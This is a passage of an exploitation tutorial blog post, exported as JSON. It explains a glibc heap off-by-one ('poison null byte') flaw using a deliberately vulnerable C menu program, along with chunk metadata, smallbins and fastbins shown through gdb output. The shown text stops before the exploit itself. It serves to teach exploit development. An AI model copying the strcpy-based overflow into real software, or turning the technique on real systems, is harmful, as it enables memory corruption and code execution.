{"id":688,"date":"2018-08-14T19:06:30","date_gmt":"2018-08-14T19:06:30","guid":{"rendered":"https:\/\/devel0pment.de\/?p=688"},"modified":"2018-08-14T19:40:55","modified_gmt":"2018-08-14T19:40:55","slug":"heap-exploitation-off-by-one-poison-null-byte","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=688","title":{"rendered":"Heap Exploitation: Off-By-One \/ Poison Null Byte"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/poison_null.png\" alt=\"\" width=\"742\" height=\"150\" class=\"alignnone size-full wp-image-815\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/poison_null.png 742w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/poison_null-300x61.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>The goal of this article is to explain in detail how an off-by-one vulnerability on the heap also known as <i>poison null byte<\/i> can be exploited. Although this technique does not work with the latest libc, I think it can be used very good in order to demonstrate how exploits based on heap-metadata corruption work (also check out <a href=\"https:\/\/github.com\/shellphish\/how2heap\" target=\"_blank\" rel=\"noopener\">shellphish&#8217;s how2heap<\/a>).<\/p>\n<p>In order to do this I created a vulnerable program, which we will use as an example to create such an exploit. If you like to, you can start by analyzing and exploiting the program on your own (at least check out <a href=\"https:\/\/devel0pment.de\/?p=688#env\">Environment<\/a>):<\/p>\n<p>&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heap.zip\">heap.zip<\/a><\/p>\n<p>Though it is not required to the exploit the program, the source-code might be helpful:<\/p>\n<p>&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heap.c\">heap.c<\/a><\/p>\n<p>The article is divided into the following sections:<\/p>\n<p>&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#env\">Environment<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#vuln\">Vulnerable Program<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#basic\">Heap Basics<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#libc\">Libc-Leak<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#rip\">Control Instruction Pointer<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#oneg\">One Gadget<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=688#final\">Final Exploit<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h2 id=\"env\">Environment<\/h2>\n<p>There is a major difference between stack- and heap-based exploits: the stack-logic (e.g. what calling conventions are being used) is compiled into the binary. It does not matter which libc-version your system is using: each <code>push<\/code> and <code>pop<\/code> or reference to the stack (e.g. <code>ebp+0x20<\/code>) is part of the binary and is not affected by an external library.<\/p>\n<p>This is different with the heap. The heap-logic depends on the libc-version being used. A software developer uses a straight-forward interface (e.g. <code>malloc<\/code> and <code>free<\/code>) to access the heap. This interface does not change. The implementation of the interface does. This means that each libc-version may implement the heap-interface differently. For a software developer who uses the interface it is only important, that each call to <code>malloc<\/code> allocates the requested bytes on the heap and a subsequent call to <code>free<\/code> deallocates this memory. He does not care about how the libc manages the heap-memory. For an exploit developer this is important. A vulnerability like the off-by-one vulnerability explained in this article corrupts the heap&#8217;s metadata. These metadata are additional information stored on the heap for each allocated or free chunk in order to keep track of the available memory. An exploit corrupting these metadata may only work with a specific libc-version. This does not only affect the offsets being used in the exploit but rather the whole exploit-logic depending on how the libc allocates\/deallocates chunks and what security checks are performed on the metadata. <\/p>\n<p>Long story short: In order to comprehend the steps described in this article I recommend you to use the same environment (especially libc-version).<\/p>\n<p>I used an <code>Ubuntu 16.04.4 LTS (Xenial Xerus)<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~$ cat \/etc\/lsb-release \r\nDISTRIB_ID=Ubuntu\r\nDISTRIB_RELEASE=16.04\r\nDISTRIB_CODENAME=xenial\r\nDISTRIB_DESCRIPTION=&quot;Ubuntu 16.04.4 LTS&quot;\r\n<\/pre>\n<p>Kernel-version <code>4.13<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [2]; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~$ uname -a\r\nLinux xerus 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\r\n<\/pre>\n<p>With libc-version <code>2.23<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3,7,10]; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ ldd heap\r\n\tlinux-vdso.so.1 =&gt;  (0x00007ffff7ffa000)\r\n\tlibc.so.6 =&gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007ffff7a0d000)\r\n\t\/lib64\/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)\r\n\r\nxerus@xerus:~\/pwn\/heap$ ls -al \/lib\/x86_64-linux-gnu\/libc.so.6\r\nlrwxrwxrwx 1 root root 12 Jul 23 07:11 \/lib\/x86_64-linux-gnu\/libc.so.6 -&gt; libc-2.23.so\r\n\r\nxerus@xerus:~\/pwn\/heap$ file \/lib\/x86_64-linux-gnu\/libc-2.23.so \r\n\/lib\/x86_64-linux-gnu\/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU\/Linux), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID&#x5B;sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU\/Linux 2.6.32, stripped\r\n<\/pre>\n<p><i>Address Space Layout Randomization<\/i> (<i>ASLR<\/i>) is enabled (disabled in exploit development phase):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ cat \/proc\/sys\/kernel\/randomize_va_space \r\n2\r\n<\/pre>\n<p>The vulnerable program is compiled as a Position-independent Executable (<code>PIE<\/code>) with <code>Full RELRO<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ checksec heap\r\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH\tSymbols\t\tFORTIFY\tFortified\tFortifiable  FILE\r\nFull RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   79 Symbols\tYes\t0\t\t6\theap\r\n<\/pre>\n<hr \/>\n<h2 id=\"vuln\">Vulnerable Program<\/h2>\n<p>As described in the introduction we will have a look at a sample program, which is affected by an off-by-one vulnerability on the heap.<\/p>\n<p>The program is similar to an usual ctf heap-pwn challenge displaying a menu to choose between creating\/deleting\/printing a chunk:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ .\/heap \r\n1. create\r\n2. delete\r\n3. print\r\n4. exit\r\n&gt; \r\n<\/pre>\n<p>When creating a chunk the desired size and data has to be entered:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&gt; 1\r\n\r\nusing slot 0\r\nsize: 40\r\ndata: AAAAAAAAAAAAAAAAAAAAAAAAA\r\nsuccessfully created chunk\r\n<\/pre>\n<p>The output contains the slot in which the newly allocated chunk is stored (in this case <code>slot 0<\/code>).<\/p>\n<p>This slot index is supposed to be used when printing a chunk&#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&gt; 3\r\nidx: 0\r\n\r\ndata: AAAAAAAAAAAAAAAAAAAAAAAAA\r\n<\/pre>\n<p>or when deleting it:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&gt; 2\r\nidx: 0\r\nsuccessfully deleted chunk\r\n<\/pre>\n<p>Let&#8217;s have a look at the source-code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ cat heap.c \r\n\/**\r\n *\r\n * heap.c\r\n *\r\n * sample program: heap off-by-one vulnerability\r\n * \r\n * gcc heap.c -pie -fPIE -Wl,-z,relro,-z,now -o heap\r\n *\r\n *\/\r\n\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\n#define DELETE 1\r\n#define PRINT 2\r\n\r\nvoid create();\r\nvoid process(unsigned int);\r\n\r\nchar *ptrs&#x5B;10];\r\n\r\n\/**\r\n * main-loop: print menu, read choice, call create\/delete\/exit\r\n *\/\r\nint main() {\r\n\r\n  setvbuf(stdout, NULL, _IONBF, 0);\r\n\r\n  while(1) {\r\n    unsigned int choice;\r\n    puts(&quot;1. create\\n2. delete\\n3. print\\n4. exit&quot;);\r\n    printf(&quot;&gt; &quot;);\r\n    scanf(&quot;%u&quot;, &amp;choice);\r\n\r\n    switch(choice) {\r\n      case 1: create(); break;\r\n      case 2: process(DELETE); break;\r\n      case 3: process(PRINT); break;\r\n      case 4: exit(0); break;\r\n      default: puts(&quot;invalid choice&quot;); break;\r\n    }\r\n  }\r\n}\r\n\r\n\r\n\/**\r\n * creates a new chunk.\r\n *\/\r\nvoid create() {\r\n\r\n  unsigned int i, size;\r\n  unsigned int idx = 10;\r\n  char buf&#x5B;1024];\r\n\r\n  for (i = 0; i &lt; 10; i++) {\r\n    if (ptrs&#x5B;i] == NULL) {\r\n      idx = i;\r\n      break;\r\n    }\r\n  }\r\n  if (idx == 10) {\r\n    puts(&quot;no free slots\\n&quot;);\r\n    return;\r\n  }\r\n  \r\n  printf(&quot;\\nusing slot %u\\n&quot;, idx);\r\n\r\n  printf(&quot;size: &quot;);\r\n  scanf(&quot;%u&quot;, &amp;size);\r\n  if (size &gt; 1023) {\r\n    puts(&quot;maximum size (1023 bytes) exceeded\\n&quot;);\r\n    return;\r\n  }\r\n\r\n  printf(&quot;data: &quot;);\r\n  size = read(0, buf, size);\r\n  buf&#x5B;size] = 0x00;\r\n  \r\n  ptrs&#x5B;idx] = (char*)malloc(size);\r\n  strcpy(ptrs&#x5B;idx], buf);\r\n\r\n  puts(&quot;successfully created chunk\\n&quot;);\r\n}\r\n\r\n\r\n\/**\r\n * deletes or prints an existing chunk.\r\n *\/\r\nvoid process(unsigned int action) {\r\n\r\n  unsigned int idx;\r\n  printf(&quot;idx: &quot;);\r\n  scanf(&quot;%u&quot;, &amp;idx);\r\n\r\n  if (idx &gt; 10) {\r\n    puts(&quot;invalid index\\n&quot;);\r\n    return;\r\n  }\r\n\r\n  if (ptrs&#x5B;idx] == NULL) {\r\n    puts(&quot;chunk not existing\\n&quot;);\r\n    return;\r\n  }\r\n\r\n  if (action == DELETE) {\r\n    free(ptrs&#x5B;idx]);\r\n    ptrs&#x5B;idx] = NULL;\r\n    puts(&quot;successfully deleted chunk\\n&quot;);\r\n  }\r\n  else if (action == PRINT) {\r\n    printf(&quot;\\ndata: %s\\n&quot;, ptrs&#x5B;idx]);\r\n  }\r\n\r\n}\r\n\r\n<\/pre>\n<p>Can you spot the vulnerability?<\/p>\n<p>Spoiler ahead &#8230;<\/p>\n<table height=\"400px\">\n<tr>\n<td><\/td>\n<\/tr>\n<\/table>\n<p>The vulnerability resides within the function <code>create<\/code> in the following lines:<\/p>\n<pre class=\"brush: cpp; first-line: 67; highlight: [69,71,72]; title: ; notranslate\" title=\"\">\r\n  printf(&quot;data: &quot;);\r\n  size = read(0, buf, size);\r\n  buf&#x5B;size] = 0x00;\r\n  \r\n  ptrs&#x5B;idx] = (char*)malloc(size);\r\n  strcpy(ptrs&#x5B;idx], buf);\r\n<\/pre>\n<p>After the call to <code>read<\/code> <code>size<\/code> contains the amounts of bytes read, which are limited to the size the user entered (maximum 1023).<\/p>\n<p><code>size<\/code> is then used as an index in <code>buf<\/code> in order to null-terminate the entered user-data on <i>line 69<\/i> (<code>read<\/code> does not do this).<\/p>\n<p>Even if the user enters the maximum size (1023), there is no stack-overflow since <code>buf<\/code> contains 1024 bytes.<\/p>\n<p>The actual problem arises on <i>lines 71-72<\/i> when a chunk with <code>size<\/code> bytes is created by the call to <code>malloc<\/code> and the function <code>strcpy<\/code> is used to copy the data from <code>buf<\/code> to this newly created chunk (<code>ptrs[idx]<\/code>). Since <code>strcpy<\/code> also copies the terminating null-byte this may overflow the heap-chunk.<\/p>\n<hr \/>\n<h2 id=\"basic\">Heap Basics<\/h2>\n<p>So we have identified a vulnerability which gives us the possibility to overflow a heap-chunk with a single null-byte. It does not sound like we could do alot with this, does it? Well, actually we can: supposing that the program is running on a server this tiny null-byte can lead to full <i>Remote Code Execution<\/i> (<i>RCE<\/i>). But before we jump right into the development of our exploit, we shortly recap some heap basics.<\/p>\n<p>Let&#8217;s allocate a heap-chunk using <code>malloc<\/code>:<\/p>\n<pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n  char *ptr = malloc(0x88);\r\n...\r\n<\/pre>\n<p>After the call to <code>malloc<\/code> the address of the new chunk is stored in <code>RAX<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [2,23]; title: ; notranslate\" title=\"\">\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nRAX: 0x602010 --&gt; 0x0 \r\nRBX: 0x0 \r\nRCX: 0x7ffff7dd1b20 --&gt; 0x100000000 \r\nRDX: 0x602010 --&gt; 0x0 \r\nRSI: 0x602090 --&gt; 0x0 \r\nRDI: 0x7ffff7dd1b20 --&gt; 0x100000000 \r\nRBP: 0x7fffffffe490 --&gt; 0x4005d0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRSP: 0x7fffffffe470 --&gt; 0x4005d0 (&lt;__libc_csu_init&gt;:\tpush   r15)\r\nRIP: 0x400578 (&lt;main+18&gt;:\tmov    QWORD PTR &#x5B;rbp-0x10],rax)\r\nR8 : 0x602000 --&gt; 0x0 \r\nR9 : 0xd ('\\r')\r\nR10: 0x7ffff7dd1b78 --&gt; 0x602090 --&gt; 0x0 \r\nR11: 0x0 \r\nR12: 0x400470 (&lt;_start&gt;:\txor    ebp,ebp)\r\nR13: 0x7fffffffe570 --&gt; 0x1 \r\nR14: 0x0 \r\nR15: 0x0\r\nEFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x40056a &lt;main+4&gt;:\tsub    rsp,0x20\r\n   0x40056e &lt;main+8&gt;:\tmov    edi,0x88\r\n   0x400573 &lt;main+13&gt;:\tcall   0x400450 &lt;malloc@plt&gt;\r\n=&gt; 0x400578 &lt;main+18&gt;:\tmov    QWORD PTR &#x5B;rbp-0x10],rax\r\n...\r\n<\/pre>\n<p>The heap-metadata for each chunk are two 8 byte values (4 byte on 32bit), which are stored in front of the actual data of the chunk. Notice that malloc returns the address of the data (<code>0x602010<\/code>). This means the whole chunk begins at <code>0x602000<\/code>):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-1.png\" alt=\"\" width=\"635\" height=\"314\" class=\"alignnone size-full wp-image-704\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-1.png 635w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-1-300x148.png 300w\" sizes=\"(max-width: 635px) 100vw, 635px\" \/><\/p>\n<p>The <code>prev_size<\/code> field contains the size of the previous chunk, if it is free. If the previous chunk is allocated, this field is not necessary and is also used for data of the previous chunk. The <code>size+flags<\/code> field contains the size of the chunk itself (metadata+data). Because the chunk-size is always aligned to 8 byte (<code>0x8<\/code>), the three least significant bits of the <code>size+flags<\/code> field would always be zero and are thus used to store the following flags: <code>allocated arena<\/code> (<code>0x4<\/code>), <code>mmap<\/code> (<code>0x2<\/code>) and <code>previous chunk in use<\/code> (<code>0x1<\/code>). For our purpose only the <code>previous chunk in use<\/code> flag is relevant. This flag determines if the previous chunk is free (flag = 0) or allocated (flag = 1).<\/p>\n<p>Let&#8217;s create another chunk:<\/p>\n<pre class=\"brush: cpp; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\n...\r\n  char *ptr = malloc(0x88);\r\n  char *ptr2 = malloc(0x28);\r\n...\r\n<\/pre>\n<p>After the second call to <code>malloc<\/code> the heap looks like this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-2.png\" alt=\"\" width=\"675\" height=\"372\" class=\"alignnone size-full wp-image-706\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-2.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-2-300x165.png 300w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>When filling all 0x88 bytes of the first chunk, ..<\/p>\n<pre class=\"brush: cpp; gutter: false; highlight: [4]; title: ; notranslate\" title=\"\">\r\n...\r\n  char *ptr = malloc(0x88);\r\n  char *ptr2 = malloc(0x28);\r\n  for (int i = 0; i &lt; 0x88; i++) ptr&#x5B;i] = 'A';\r\n...\r\n<\/pre>\n<p>.. we can see that the <code>prev_size<\/code> field of the second chunk is used for data of the first chunk:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-3.png\" alt=\"\" width=\"675\" height=\"372\" class=\"alignnone size-full wp-image-707\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-3.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-3-300x165.png 300w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>Let&#8217;s now delete the first chunk ..<\/p>\n<pre class=\"brush: cpp; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\n...\r\n  char *ptr = malloc(0x88);\r\n  char *ptr2 = malloc(0x28);\r\n  for (int i = 0; i &lt; 0x88; i++) ptr&#x5B;i] = 'A';\r\n  free(ptr);\r\n...\r\n<\/pre>\n<p>.. and have a look at the heap:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-4.png\" alt=\"\" width=\"675\" height=\"357\" class=\"alignnone size-full wp-image-708\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-4.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-4-300x159.png 300w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>Notice that the <code>prev_size<\/code> field of chunk2 is actually set and the <code>previous chunk in use<\/code> flag has been unset. The first 16 bytes of data of the free chunk now contain the <code>Forward Pointer<\/code> (<code>FD<\/code>) and the <code>Backward Pointer<\/code> (<code>BK<\/code>). These pointers are used to store all free chunks in doubly linked lists called <i>bins<\/i>. The exception are small chunks, which are stored in singly linked lists called <i>fastbins<\/i> (we will see the details later). As you may noticed, the values stored in the <code>FD<\/code> and <code>BK<\/code> are libc-addresses. This is because there is only a single free chunk for now and thus the <code>FD<\/code> and <code>BK<\/code> is set to the list&#8217;s <code>head<\/code> and <code>tail<\/code>, which are stored in the so called <i>main_arena<\/i> within the libc. We can inspect the main arena in <code>gdb<\/code> using the command <code>p main_arena<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [6,8]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p main_arena \r\n$1 = {\r\n  mutex = 0x0, \r\n  flags = 0x1, \r\n  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, \r\n  top = 0x6020c0, \r\n  last_remainder = 0x0, \r\n  bins = {0x602000, 0x602000, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, \r\n    0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1ba8 &lt;main_arena+136&gt;, \r\n    0x7ffff7dd1ba8 &lt;main_arena+136&gt;, 0x7ffff7dd1bb8 &lt;main_arena+152&gt;, 0x7ffff7dd1bb8 &lt;main_arena+152&gt;, \r\n    0x7ffff7dd1bc8 &lt;main_arena+168&gt;, 0x7ffff7dd1bc8 &lt;main_arena+168&gt;, 0x7ffff7dd1bd8 &lt;main_arena+184&gt;, \r\n...\r\n<\/pre>\n<p>The first thing to notice is that the main arena also contains a value called <code>top<\/code>, which points to the top of the heap also known as <i>wilderness<\/i>.<\/p>\n<p>Our free chunk can be found within <code>bins<\/code>. <code>bins<\/code> contain a <code>head<\/code> and a <code>tail<\/code> pointer for each stored bin. The first <code>head<\/code> and <code>tail<\/code> pointer both reference our free chunk at <code>0x602000<\/code>. Notice again that this is the address returned by <code>malloc - 0x10<\/code> because it references the metadata and not the actual data. This offset must also be considered for the <code>head<\/code> and <code>tail<\/code> pointer stored in the <code>FD<\/code> and <code>BK<\/code> of the free&#8217;d chunk. Both the <code>FD<\/code> and the <code>BK<\/code> contain the value <code>0x7ffff7dd1b78<\/code>, which means that the actual <code>head<\/code> pointer is located at <code>+0x10 = 0x7ffff7dd1b88<\/code> and the <code>tail<\/code> pointer at <code>+0x18 = 0x7ffff7dd1b90<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/xg 0x7ffff7dd1b78+0x10\r\n0x7ffff7dd1b88 &lt;main_arena+104&gt;:        0x0000000000602000\r\ngdb-peda$ x\/xg 0x7ffff7dd1b78+0x18\r\n0x7ffff7dd1b90 &lt;main_arena+112&gt;:        0x0000000000602000\r\n<\/pre>\n<p>For now our doubly linked listed contains only one chunk:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_01.png\" alt=\"\" width=\"574\" height=\"349\" class=\"alignnone size-full wp-image-785\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_01.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_01-300x182.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>If we would free another chunk of the same size (in this case our chunk is stored in a <i>smallbin<\/i> in contrary to a <i>largebin<\/i> for chunks >= 512 byte, which are treated slightly different), the second free&#8217;d chunk would be inserted at the head of the doubly linked list:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_02a.png\" alt=\"\" width=\"574\" height=\"365\" class=\"alignnone size-full wp-image-783\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_02a.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_02a-300x191.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>Each subsequent free&#8217;d chunk will be become the new head chunk:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_03.png\" alt=\"\" width=\"766\" height=\"380\" class=\"alignnone size-full wp-image-786\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_03.png 766w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_03-300x149.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>When we allocate a chunk of the corresponding size, we will be served with the free chunk from the tail of the list:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_04.png\" alt=\"\" width=\"766\" height=\"380\" class=\"alignnone size-full wp-image-788\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_04.png 766w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_04-300x149.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>In other words: smallbins are treated as <i>first in, first out<\/i> (<i>FIFO<\/i>):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_05.png\" alt=\"\" width=\"854\" height=\"142\" class=\"alignnone size-full wp-image-790\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_05.png 854w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_05-300x50.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_05-768x128.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>I have already mentioned that small chunks are stored in singly linked lists called <i>fastbins<\/i>. So let&#8217;s see what happens, if we free the second chunk which only contains 0x28 bytes:<\/p>\n<pre class=\"brush: cpp; gutter: false; highlight: [6]; title: ; notranslate\" title=\"\">\r\n...\r\n  char *ptr = malloc(0x88);\r\n  char *ptr2 = malloc(0x28);\r\n  for (int i = 0; i &lt; 0x88; i++) ptr&#x5B;i] = 'A';\r\n  free(ptr);\r\n  free(ptr2);\r\n...\r\n<\/pre>\n<p>Now the heap looks like this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-5.png\" alt=\"\" width=\"675\" height=\"357\" class=\"alignnone size-full wp-image-709\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-5.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/heapbasic-5-300x159.png 300w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>Well, actually nothing changed. This is because the chunk is stored in a fastbin and thus only contains a <code>Forward Pointer<\/code> (<code>FD<\/code>). As there are no more free chunks of the same size, the <code>FD<\/code> is set to zero to indicate the end of the list. The head of the fastbin is yet again stored within the main arena:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p main_arena \r\n$1 = {\r\n  mutex = 0x0, \r\n  flags = 0x0, \r\n  fastbinsY = {0x0, 0x602090, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, \r\n  top = 0x6020c0, \r\n  last_remainder = 0x0, \r\n  bins = {0x602000, 0x602000, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, \r\n    0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1ba8 &lt;main_arena+136&gt;, \r\n...\r\n<\/pre>\n<p><code>fastbinY<\/code> contains a head pointer for each fastbin. As you can see there are 10 fastbins, which differ in the size of the chunks stored in it. Until now there is only a single chunk in the second fastbin:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_06.png\" alt=\"\" width=\"574\" height=\"365\" class=\"alignnone size-full wp-image-798\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_06.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_06-300x191.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>If we would free another chunk of the same size, this chunk would be inserted at the head of the singly linked list (just like with smallbins):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_07.png\" alt=\"\" width=\"574\" height=\"365\" class=\"alignnone size-full wp-image-799\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_07.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_07-300x191.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>Another chunk free&#8217;d:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_08.png\" alt=\"\" width=\"795\" height=\"381\" class=\"alignnone size-full wp-image-800\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_08.png 795w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_08-300x144.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_08-768x368.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In contrast to smallbins free chunks within a fastbin are removed from the head on an allocation:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_09.png\" alt=\"\" width=\"795\" height=\"381\" class=\"alignnone size-full wp-image-802\" 